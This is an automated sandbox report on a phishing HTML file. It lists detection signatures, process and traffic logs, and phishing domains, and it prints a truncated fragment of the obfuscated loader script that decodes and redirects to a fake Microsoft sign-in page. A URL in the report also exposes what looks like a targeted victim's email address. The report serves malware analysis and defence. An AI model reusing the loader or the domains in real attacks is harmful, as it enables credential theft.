Edit tour

Windows Analysis Report
Play_VM-NowAccountingAudiowav011.html

Overview

General Information

Sample name:	Play_VM-NowAccountingAudiowav011.html
Analysis ID:	1586068
MD5:	f8ea7eb9e0f0bda430041f778fdaea53
SHA1:	4ca202a95656dad9e74be88ff964f32f8f83c8e2
SHA256:	5b0bb6db294468917784a1e52b06d5b946cde8ef678df1c62270970b6eb16fdb
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

AI detected suspicious Javascript

Detected javascript redirector / loader

HTML document with suspicious name

HTML document with suspicious title

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6836 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play_VM-NowAccountingAudiowav011.html MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1856,i,4395295894510598128,5928526936664800396,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@poi... This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The combination of these behaviors strongly suggests malicious intent, likely for the purpose of preventing analysis and redirecting users to a phishing or malware-hosting site.
Source: 0.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@poi... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a Microsoft login page, which is likely a phishing attempt. Overall, the script demonstrates malicious intent and poses a significant security risk.
Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@poi... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution.
Source: 0.2.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/Play_VM-NowAccount... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of obfuscated URLs and the aggressive manipulation of the DOM further increase the risk. While the script may have a legitimate purpose, the overall behavior is highly suspicious and indicative of potential malicious intent.

Detected javascript redirector / loader

Source: Play_VM-NowAccountingAudiowav011.html

HTTP Parser: Low number of body elements: 0

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Play_VM-NowAccountingAudiowav011.html

Tab title: Play_VM-NowAccountingAudiowav011.html

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0

HTTP Parser: Base64 decoded: fcd5e8ec-ef78-40d5-8ac8-0ea6639e598bda03014a-a347-4ed0-a7ca-7d609b1e936a

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://ecohomethings.net/res444.php?2-68747470733a2f2f4b6f2e6b6f6d69726174682e72752f316a5656536847492f-hemlock

HTTP Parser: var cupkfafnvuztwhvy = document.createelement("script");cupkfafnvuztwhvy.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(cupkfafnvuztwhvy);cupkfafnvuztwhvy.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoimfmwz0i3efntcmp0bhpurflxaze2yutukzzumfppyvztwhfjyvfjcja5q1wvk1wvmkrenjjuxc8xzxbqsthpy29wbzzdazzmdzmwofvtnzfhy2dhr0p2vxz0buzsumtrtzf0mlnpu3pncnzurzzumhzxuct6qnput3aywudctvjgcmftwepsoexhrkfkvss1awg4dljjzdh5wwvxmkphrnb2zljbuws0r2jwzmfjbmt4d1pymu5kadcrow5hd1jzuvhlvlfydmhrctbcl3dqm1dczfd5tfzjr0dhr3byaghkrtvebgzfeudzcwfiuhria1zerwpqzdllq0prdvrhwvrfbe15but3ulzcl0pprvgwq0freklmsm5idzhwodjrylpcl2hnqwx6zzbvm2njb2virwizcfnuzdhwmmdpbdy0aejfvuoyyxpokzncl2j4yjdod1zyzmtvwexlv0loaudrnhnmz2y0c0k4zmxev0lsduzlm0pcsghprdrsdujivfbwu1zfm3uzcw1ixc9iz1zxdgxrk2dps0znqvvhefjmruhabk1yyzdqzhbpr0zyrlpmt1voc2vtcwr2wknktjfitmxlmhvwv3rutknwctj2mndsvxpzunniteryuldjvtk3wwfvmjhqqvpzznptufhhtzrmuzfoeefpvfngbxrvanerrgc0v0lnbunwq1m3sworajfealbcn1hem0q5bjhywg...

HTTP Parser: <input type="password" .../> found

Source: Play_VM-NowAccountingAudiowav011.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Play_VM-NowAccountingAudiowav011.html	HTTP Parser: No favicon
Source: https://ko.komirath.ru/1jVVShGI/#F#Maccounting@pointloma.edu	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638719499534656113.ZmNkNWU4ZWMtZWY3OC00MGQ1LThhYzgtMGVhNjYzOWU1OThiZGEwMzAxNGEtYTM0Ny00ZWQwLWE3Y2EtN2Q2MDliMWU5MzZh&ui_locales=en-US&mkt=en-US&client-request-id=5c1890a8-78f8-4788-9200-25f1bf7015f6&state=sldsxVn3uzOFH2SrvHrUobVpwkE5op7T91_cy_M8VfH63-qu2eusJoiFfoUTnO_5DHyejweW8pqct_eSDJhwpz9u88ycoDiSUFt3YPutpHk7t8bKWWujF54ZjO0NUHFRk8C8f2hyX8WSJGVLwEfPLIAtku8Tkk05qtGnWqkhb4ReN0EJRZCB5srY8kwe620VsDmy-JBjafmmXHt4kGFzJDdrIEmmYCH_UE-dmeg2kDBjko3djHTZFxO2knxDjC1s598FCDvQMyVextqEZDAXPA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: global traffic	TCP traffic: 192.168.2.17:49797 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.17:60808 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137
Source: Joe Sandbox View	IP Address: 151.101.66.137 151.101.66.137

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.200
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.13
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f4b6f2e6b6f6d69726174682e72752f316a5656536847492f-hemlock HTTP/1.1Host: ecohomethings.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f4b6f2e6b6f6d69726174682e72752f316a5656536847492f-hemlock HTTP/1.1Host: ecohomethings.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1jVVShGI/ HTTP/1.1Host: ko.komirath.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ko.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ko.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
